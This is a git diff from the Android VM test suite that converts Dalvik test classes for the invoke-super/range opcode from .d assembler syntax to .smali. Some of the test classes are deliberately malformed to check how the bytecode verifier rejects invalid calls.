+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+.super Ljava/lang/Object;
+.source "TSuper.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private toIntPvt()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+.method public static toIntStatic()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+
+# virtual methods
+.method public testArgsOrder(II)I
+    .registers 4
+
+    const v0, 0x15d
+
+    const p0, 0x54250
+
+    div-int p1, p1, p2
+
+    return p1
+.end method
+
+.method public testString(Ljava/lang/String;)V
+    .registers 2
+
+    return-void
+.end method
+
+.method public toInt()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+.method public toInt(F)I
+    .registers 3
+
+    float-to-int v0, p1
+
+    return v0
+.end method
+
+.method public native toIntNative()I
+.end method
+
+.method protected toIntP()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper2.d
deleted file mode 100644
index 90baf5d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper2.d
+++ /dev/null
@@ -1,30 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TSuper2.java
-.class public dot.junit.opcodes.invoke_super_range.d.TSuper2
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public test()I 
-.limit regs 3
-    const v0, 123
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper2.smali
new file mode 100644
index 0000000..1241479
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper2.smali
@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TSuper2.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/TSuper2;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public test()I 
+.registers 3
+    const v0, 123
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1.d
deleted file mode 100644
index 4181eed..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_1.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_1
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 8
-
-       invoke-super/range {v7}, dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1/toInt()I
-
-       move-result v0
-       return v0
-.end method
-
-
-.method public toInt()I 
-.limit regs 3
-    const v0, 777
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1.smali
new file mode 100644
index 0000000..b1eec38
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_1.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 8
+
+       invoke-super/range {v7}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1;->toInt()I
+
+       move-result v0
+       return v0
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 777
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_10.d
deleted file mode 100644
index baca689..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_10.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_10
-.super java/lang/Object
-
-.method static <clinit>()V
-    return-void
-.end method
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-    invoke-super/range {v0}, dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_10/<clinit>()V
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_10.smali
new file mode 100644
index 0000000..fcbdb01
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_10.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_10;
+.super  Ljava/lang/Object;
+
+.method static constructor <clinit>()V
+.registers 0
+    return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+    invoke-super/range {v0}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_10;-><clinit>()V
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_11.d
deleted file mode 100644
index 7cc537c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_11.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_11.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-super/range {v6}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_11.smali
new file mode 100644
index 0000000..dc0925e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_11.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_11.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-super/range {v6}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_12.d
deleted file mode 100644
index 38cd7d2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_12.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_12
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-
-.method public run()V
-.limit regs 8
-       move-object v4, v5
-       invoke-super/range {v4..v5}, dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_12/testString(Ljava/lang/String;)V
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_12.smali
new file mode 100644
index 0000000..5dbddc1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_12.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_12;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+
+.method public run()V
+.registers 8
+       move-object v4, v5
+       invoke-super/range {v4..v5}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_12;->testString(Ljava/lang/String;)V
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13.d
deleted file mode 100644
index d177e76..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_13.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_13
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method private toIntPvt()I
-.limit regs 3
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-super/range {v2}, dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13/toIntPvt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13.smali
new file mode 100644
index 0000000..a5666f7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_13.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method private toIntPvt()I
+.registers 3
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_13;->toIntPvt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14.d
deleted file mode 100644
index c90b576..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14.d
+++ /dev/null
@@ -1,61 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_14.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_14
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 7
-
-    const v1, 123
-    const v2, 659
-    
-    const v4, 300
-    const v5, 3
-    move-object v3, v6
-    invoke-super/range {v3..v5}, dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14/testArgsOrder(II)I
-
-    move-result v3
-    const v4, 100
-    if-ne v3, v4, Label0
-
-    const v4, 123
-    if-ne v1, v4, Label0
-
-    const v4, 659
-    if-ne v2, v4, Label0
-    
-    const v0, 1
-    return v0
-
-Label0:
-    const v0, 0
-    return v0
-.end method
-
-.method public testArgsOrder(II)I
-.limit regs 4
-    const v0, 0
-    return v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14.smali
new file mode 100644
index 0000000..4cdeba5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14.smali
@@ -0,0 +1,61 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_14.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 7
+
+    const v1, 123
+    const v2, 659
+    
+    const v4, 300
+    const v5, 3
+    move-object v3, v6
+    invoke-super/range {v3..v5}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_14;->testArgsOrder(II)I
+
+    move-result v3
+    const v4, 100
+    if-ne v3, v4, :Label0
+
+    const v4, 123
+    if-ne v1, v4, :Label0
+
+    const v4, 659
+    if-ne v2, v4, :Label0
+    
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+.method public testArgsOrder(II)I
+.registers 4
+    const v0, 0
+    return v0
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15.d
deleted file mode 100644
index 7c57710..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_15.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-super/range {v2}, dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15/testN()V
-       return-void
-.end method
-
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15.smali
new file mode 100644
index 0000000..581cb12
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_15.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_15;->testN()V
+       return-void
+.end method
+
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_16.d
deleted file mode 100644
index 90d9a21..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_16.d
+++ /dev/null
@@ -1,26 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_16.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 3
-       invoke-super/range {v2}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_16.smali
new file mode 100644
index 0000000..77a6edb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_16.smali
@@ -0,0 +1,26 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_16.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 3
+       invoke-super/range {v2}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17.d
deleted file mode 100644
index 962adb5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_17.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_17
-.super dot/junit/opcodes/invoke_super_range/d/TSuper2
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper2/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-super/range {v2}, dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17/toInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17.smali
new file mode 100644
index 0000000..4a1b187
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_17.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper2;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper2;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_17;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+
